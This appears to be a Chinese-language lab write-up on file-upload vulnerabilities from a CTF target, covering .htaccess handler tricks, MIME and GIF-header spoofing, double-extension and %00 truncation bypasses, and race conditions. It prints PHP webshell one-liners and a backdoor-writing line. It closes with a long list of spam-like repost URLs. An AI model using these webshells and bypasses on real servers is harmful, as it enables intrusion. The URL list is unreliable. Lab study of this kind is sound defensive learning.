手机网站底部导航菜单,网站的头尾和导航的公用文件,摄影网站采用照片做宣传 版权费是多少,电商课程#xff08;图片加载不出#xff0c;说明被和谐了#xff09;
项目一#xff1a;
sqlsec/ggctf-upload - Docker Image | Docker Hub
学习过程中,可以对照源码进行白盒分析. 补充#xff1a;环境搭建在Linux虚拟机上的同时#xff0c;以另一台Windows虚拟机进行测试最…图片加载不出说明被和谐了
项目一
sqlsec/ggctf-upload - Docker Image | Docker Hub
学习过程中,可以对照源码进行白盒分析. 补充环境搭建在Linux虚拟机上的同时以另一台Windows虚拟机进行测试最好。
本地机....容易被杀马。
项目二
文件上传笔记 阶段一
文件上传
[原生态、拓展类、安全框架类]
思维导图
核心 : 通过上传 尝试连接后门的攻击
# 必读:
一、文件解析的对应关系.
(图片中嵌入代码,但是由于解析关系一对一,使用只能解析成图片.)
[错误解析配置、解析漏洞时,才可行]二、 防护考虑
后缀、文件类型(文本类、图像类...)、文件内容等 语言版本、语言函数、中间件、第三方、存储逻辑、存储方案通用: 验证逻辑[函数先后、黑白名单等]、内容检测[文件类型、文件头]等# 原生态检测前端JS[反应快、] : 看源码抓包判断[不经过直接报错,则说明∈JS]
后端PHP中间件 配置解析规则APache
[htaccess在站点的根目录下面不是在apache目录下但是它属于apache的一个配置文件]
核心:.htaccess未过滤 .htaccess可以xxx做php执行.
方法一:创建.htaccess
内容:
FilesMatch \.jpg # 可以改变 例如 \.png \.gif ...SetHandler application/x-httpd-php
/FilesMatch或者:抓包修改: filename.htaccess [文件为被限制类型php等/后端验证]内容:AddType application/x-httpd-php方法二:
filename[文件为被限制的php-后端验证.] .htaccess
内容: AddType application/x-http-php .png .jpg ...https://blog.csdn.net/weixin_46684578/article/details/119141109user.ini文件类型 注:修改后缀名,改变的仅是文件类型文件头并没有被修改.
图像类:
Content-Type: image/gif [gif]
Content-Type: image/png [png]
Content-Type: image/jpeg [jpg、jpeg]
Content-Type: image/bmp [.bmp]Content-Type: text/html [.html]
Content-Type: application/x-zip-compressed [.zip]
Content-Type: application/x-compressed [.rar]
Content-Type: application/x-msdownload [.exe]
Content-Type: application/pdf [.pdf]
Content-Type: application/msword [.doc]一句话木马文件类型:
Content-Type: application/octet-stream [.php、.asp、.jsp]
Content-Type: application/xml [.aspx]图像类文件头部特征码 :010编辑器头部标识.
GIF89a |GIF87a [gif]
GIF89a?php eval($_POST[pass]);其他的好像不行...
‰PNG [png]
ÿØÿ [jpg]
BM [.bmp]后缀通过文件头判断文件后缀
通过文件类型判断文件后缀
通过文件后缀判断文件后缀[黑名单、白名单]
黑名单:
[array(php,php5,php4,php3,phtml,pht,jsp,jspa,jspx,jsw,jsv,jspf]
[,jtml,asp,aspx,asa,asax,ascx,ashx,asmx,cer,swf,htaccess,ini);]%00截断 | url解码 具体由浏览器解析决定(url自动解码、post手动)
条件 1.PHP版本5.3.4 2.模式开关访问即创建

?php fputs(fopen(xiaodi.php,w),?php eval($_REQUEST[1]);?);? # 访问即创建后门代码.一个一直访问,一个一直创建[相遇即产生----条件竞争]条件竞争[因为代码的执行逻辑,先上传,再判断错误,所以导致条件竞争马产生]
[原理:因为再服务器短暂存在过]二次渲染
原理[让其更美好的显示---代码会改变,所以需要通过对比,保留部分,进而写马]
问题: 文件包含漏洞
函数缺陷:
move_uploaded_file() --- shell.php/. [自己指定时有重命名缺陷]二阶段
...... 项目三
less-1 JavaScript 绕过 ctrlu 查看页面源代码. 发现是前端验证. 方法一、浏览器禁用前端JS 方法二、bp抓包: 前端验证的特点:如上所见.
只有当文件格式正确时才会进行上传到upload目录下.
所以,
提供思路: 在前端一开始上传符合文件格式的后缀(图像类后缀.)
通过前端验证后通过抓包进行修改。 验证: less-2 解析上传 中间件解析错误、中间件漏洞导致文件上传安全问题.:
[原理:配置·文件解析错误,导致图像类型当作PHP类型执行.]
可以通过whatweb知晓也可通过浏览器插件: 在源码中,黑名单过滤而又没有过滤.htaccess: 网上查htaccess相关资料:
文件上传之 .htaccess文件getshell_上传.htaccess后再上传jpg文件-CSDN博客
拓展 还有user.ini具体我不知道。。。 先上传.htaccess文件内容可以为:
核心:.htaccess未过滤 .htaccess可以xxx做php执行.
创建.htaccess
内容:
FilesMatch \.jpg # 可以改变 例如 \.png \.gif ...SetHandler application/x-httpd-php
/FilesMatch或者:抓包修改: filename.htaccess [/文件为被限制类型/后端验证]内容:AddType application/x-http-php .png ...[创建] [抓包] --- 错误示范--jpg--[抓包] 【不知道是哪儿问题[感觉网络连通性。。],抓包按理来说图像类,应该都可,但是jpg不可以,png可以。。。】
【这里推荐创建的方法,jpg、png都可以的.】 less-3 MIME绕过
【通过文件类型判断文件后缀】 方法一、
查看源码: 禁用JS上传,发现依旧连接不上。 猜测是,文件结构导致,进行抓包.修改.先上传1.png抓包过程中改回1.php
因为Windows大小写不敏感,且通过文件后缀-文件头 标识文件类别.[图像类、音频类等]不过此题仅对文件类型进行判断.并没有对文件头进行判断.
注:修改后缀名,改变的仅是文件类型文件头并没有被修改.
文件头部特征码 :010编辑器头部标识. 验证: less-4 文件头绕过.
【通过文件头判断文件后缀】 前置知识在less-2进行提到过. 所以这里需要修改两个地方:
一、上传符合后缀名,在抓包过程中进行修改.[匹配文件类型]
二、给文件内容中写入文件头填充[匹配文件头.]
例子: 验证: 此外:其他图像类的好像...不太行。大概可能gif文件头刚好位于可见字符?【求解惑...】 less-5 有缺陷的代码 1
【通过文件后缀判断文件后缀】
黑名单
白名单 ctrlU看页面源码,发现验证逻辑在后端.
上传一个违规文件123.php并访问: 继续上传一个违规文件123.php%00并访问: 发现php被截断。
【可以猜测大致猜测是替换功能类的函数问的豆妈,具体差异不论,只知晓具有replace功能.
str_replace () 函数、str_ireplace ()函数、preg_replace () 函数、substr_replace () 函数等
】
那么
上传一个文件123.pphphp并访问【利用它的截断】 验证: 源码 存在的一些安全问题: (这也是为什么pphphp能够上传的原因.)
【无递归、只检测一次、没有循环操作、且没有区分大小写[函数缺陷] 等】
str_ireplace () 和str_replace ()类似 但是不区分大小写【多个 i 就不区分大小写咯。。。】 less-6 有缺陷的代码 2(存在缺陷) # 红色字体。 Windows特性.
很大概率考察的是
Windows 【文件后缀大小写不区分】
Linux 【文件后缀大小写区分】-----Linux以文件模式为主、文件头辅助去判断.不依靠文件后缀 上传违规文件 123.php 并访问 截断 上传文件 123.pphphp并访问: 填充字符 %20 也就是空格. 上传文件 12345.phP 额。。。翻车。。。【可能网络连通性吧...或者360改成不可执行权限了也可能我不会...】 不过不重要知道有这个就行。
源码: 用上不过使用的是: str_replace () 大小写区分. phP就会绕过黑名单.
[Windows对大小写敏感]所以理论上会自行[- - 我的这种情况....没执行权限...?] less-7 古老的漏洞? 1
原理因为php是基于C语言等基础开发而来.所以C语言的缺陷在其他语言可能也会存在
一看就知道咯 —— %00截断.
条件:
magic_quotes_gpc OffPHP 版本小于 5.3.4 【主要】 操作 访问图像地址: 因为实际上被我们的a.php%00进行截断了.
所以其实: 详细操作
【以1.php作为演示.】
抓包并进行重放并查看php版本: 发现上传失败,文件类型不匹配,但是php版本匹配。 修改文件后缀.发现上传成功.且进行了重命名. 使用aaa.php%00进行截断
未截断前 截断后 再次说明原理
简单来说即是使基于重命名的缺陷。使aaa.php%00截断了原本的重命名.重新以aaa.php命名
用于验证: 1.jpg用 xxx.php%00截断命名. 总结语言版本而造成的上传安全漏洞。 less-8 古老的漏洞? 2 同 30007关类似
不一样的点: 上传目录在POST内容之中而不是在POST标头中。
操作方法一致但需要进行URL编码操作.
【标头自带URL解码、但内容中需要先解码才行.----对%00进行解码操作操作。】
咳咳咳失误示范1.php-1.png ... 修改好之后 总结: 与7一样。需要知晓%00位于不同位置的处理. less-9 黑名单缺陷。 首先需要知道 黑名单和白名单的区别
黑名单包含在内都排除。
白名单不包含在内都排除。 【因为靶场已经告知是PHP黑名单缺陷】那么根据此可以直接使用bp PHP字典爆破去跑。 太多了。。。打完恢复快照。。。 - - less-10 条件竞争 原理基于代码逻辑错误先上传再验证最后再是否留下。 虽然实际存在时间非常短暂但攻击者可以通过bp攻击模块进行---卡bug。
即一个数据包一直设置创建后门另一个文件一直访问该文件创建的后门。同时进行。
古语讲 金蝉脱壳
的那种感觉。。。 复现
一、先准备不断访问的数据包。 通过抓包得到发送到intruder模块. 条件设置. 二、后门创建文件代码 ?php fputs(fopen(xiao.php,w),?php eval($_REQUEST[1]);?);? 通过抓包得到发送到intruder模块.(同上) 条件设置.同上 同时进行
GO
人工
http://192.168.117.140:30010/upload/xiao.php # F5不断刷新. bp - - 对不起我不配。get不出来。。。T^T less-11 二次渲染(存在缺陷.) 即上传的文件会被网站进行二次操作。 参考。
【文件上传绕过】——二次渲染漏洞_二次渲染绕过-CSDN博客 对比文件即可
..... ....... .........
不会
其实我有疑惑.....文件后缀、文件类型、文件格式都没改、仅在文件编辑中添加webshell怎么可能执行.....或许我哪儿错了...(想明白了再补.) less-12 move_uploaded_file 绕过 函数缺陷:
move_uploaded_file() --- shell.php/. [自己指定时有重命名缺陷] less-13 代码审计(待补.)
不想做了. (待补) 文章转载自: http://www.morning.pqjpw.cn.gov.cn.pqjpw.cn http://www.morning.ftnhr.cn.gov.cn.ftnhr.cn http://www.morning.ffwrq.cn.gov.cn.ffwrq.cn http://www.morning.qfgwx.cn.gov.cn.qfgwx.cn http://www.morning.cljpz.cn.gov.cn.cljpz.cn http://www.morning.sbjbs.cn.gov.cn.sbjbs.cn http://www.morning.qhydkj.com.gov.cn.qhydkj.com http://www.morning.wqmyh.cn.gov.cn.wqmyh.cn http://www.morning.qddtd.cn.gov.cn.qddtd.cn http://www.morning.chehb.com.gov.cn.chehb.com http://www.morning.rrqbm.cn.gov.cn.rrqbm.cn http://www.morning.itvsee.com.gov.cn.itvsee.com http://www.morning.yrsg.cn.gov.cn.yrsg.cn http://www.morning.xdpjf.cn.gov.cn.xdpjf.cn http://www.morning.brld.cn.gov.cn.brld.cn http://www.morning.snnwx.cn.gov.cn.snnwx.cn http://www.morning.tyjnr.cn.gov.cn.tyjnr.cn http://www.morning.blzrj.cn.gov.cn.blzrj.cn http://www.morning.zrlms.cn.gov.cn.zrlms.cn http://www.morning.knscf.cn.gov.cn.knscf.cn http://www.morning.kkqgf.cn.gov.cn.kkqgf.cn http://www.morning.dkcpt.cn.gov.cn.dkcpt.cn http://www.morning.qqzdr.cn.gov.cn.qqzdr.cn http://www.morning.qmnjn.cn.gov.cn.qmnjn.cn http://www.morning.rkck.cn.gov.cn.rkck.cn http://www.morning.mjpgl.cn.gov.cn.mjpgl.cn http://www.morning.tnkwj.cn.gov.cn.tnkwj.cn http://www.morning.pggkr.cn.gov.cn.pggkr.cn http://www.morning.fkmrj.cn.gov.cn.fkmrj.cn http://www.morning.xcxj.cn.gov.cn.xcxj.cn http://www.morning.zfcfx.cn.gov.cn.zfcfx.cn http://www.morning.frzdt.cn.gov.cn.frzdt.cn http://www.morning.mjzcp.cn.gov.cn.mjzcp.cn http://www.morning.yghlr.cn.gov.cn.yghlr.cn http://www.morning.yzxlkj.com.gov.cn.yzxlkj.com http://www.morning.gjlml.cn.gov.cn.gjlml.cn http://www.morning.ryjqh.cn.gov.cn.ryjqh.cn http://www.morning.kfcfq.cn.gov.cn.kfcfq.cn http://www.morning.c7624.cn.gov.cn.c7624.cn http://www.morning.sqgsx.cn.gov.cn.sqgsx.cn http://www.morning.ccdyc.cn.gov.cn.ccdyc.cn http://www.morning.rgpbk.cn.gov.cn.rgpbk.cn http://www.morning.dxpqd.cn.gov.cn.dxpqd.cn http://www.morning.stfdh.cn.gov.cn.stfdh.cn http://www.morning.srckl.cn.gov.cn.srckl.cn http://www.morning.ayftwl.cn.gov.cn.ayftwl.cn http://www.morning.cpqwb.cn.gov.cn.cpqwb.cn http://www.morning.qkqhr.cn.gov.cn.qkqhr.cn http://www.morning.zkqjz.cn.gov.cn.zkqjz.cn http://www.morning.tqfnf.cn.gov.cn.tqfnf.cn http://www.morning.ndpzm.cn.gov.cn.ndpzm.cn http://www.morning.kpypy.cn.gov.cn.kpypy.cn http://www.morning.zqmdn.cn.gov.cn.zqmdn.cn http://www.morning.tdscl.cn.gov.cn.tdscl.cn http://www.morning.hptbp.cn.gov.cn.hptbp.cn http://www.morning.lxfqc.cn.gov.cn.lxfqc.cn http://www.morning.cnprt.cn.gov.cn.cnprt.cn http://www.morning.kyjyt.cn.gov.cn.kyjyt.cn http://www.morning.pbygt.cn.gov.cn.pbygt.cn http://www.morning.yydeq.cn.gov.cn.yydeq.cn http://www.morning.wlfxn.cn.gov.cn.wlfxn.cn http://www.morning.wjqbr.cn.gov.cn.wjqbr.cn http://www.morning.wprxm.cn.gov.cn.wprxm.cn http://www.morning.wqwbj.cn.gov.cn.wqwbj.cn http://www.morning.zgdnd.cn.gov.cn.zgdnd.cn http://www.morning.kxqmh.cn.gov.cn.kxqmh.cn http://www.morning.qkxnw.cn.gov.cn.qkxnw.cn http://www.morning.mgkb.cn.gov.cn.mgkb.cn http://www.morning.zxqyd.cn.gov.cn.zxqyd.cn http://www.morning.wwgpy.cn.gov.cn.wwgpy.cn http://www.morning.ydxg.cn.gov.cn.ydxg.cn http://www.morning.xkjrs.cn.gov.cn.xkjrs.cn http://www.morning.qbrs.cn.gov.cn.qbrs.cn http://www.morning.rrcxs.cn.gov.cn.rrcxs.cn http://www.morning.sgrdp.cn.gov.cn.sgrdp.cn http://www.morning.ylqrc.cn.gov.cn.ylqrc.cn http://www.morning.hgcz.cn.gov.cn.hgcz.cn http://www.morning.yrdkl.cn.gov.cn.yrdkl.cn http://www.morning.rmppf.cn.gov.cn.rmppf.cn http://www.morning.zlxkp.cn.gov.cn.zlxkp.cn